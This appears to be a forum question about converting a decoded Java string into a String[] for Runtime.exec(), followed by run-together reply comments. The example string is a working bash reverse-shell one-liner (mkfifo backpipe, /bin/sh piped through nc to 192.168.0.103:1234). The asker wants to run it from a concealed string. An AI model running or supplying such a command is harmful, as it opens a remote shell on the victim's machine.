I have a method like
public String doSomething(String paramString) {
try {
//do something with paramString and store it in myNewValue
return new String(myNewValue, "UTF8");
} catch blocks...
}
Let's say doSomething() finally returns the below string:
{"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}
Now it is actually an array of strings if you look at it, but since it was returned as a string from doSomething(), it is treated as a String alone and not String[].
Now let's say the above string is stored in str3 as :
String str3 = doSomething();
Now is there anyway that using:
Runtime.getRuntime().exec();
str3 can be converted to String[] and passed back to Runtime.getRuntime().exec();
So essentially something like:
Runtime.getRuntime().exec(some java magic here that converts str3 to String[] and then passes this String[] to this exec method itself);
exec()is the wrong tool, unless you are asking how to convert that string into the output generated by running what appears to be abashscript.String#splitexec()for this? It seems like trying to use a hammer to inflate a tire.doSomethingso that it returns aString[]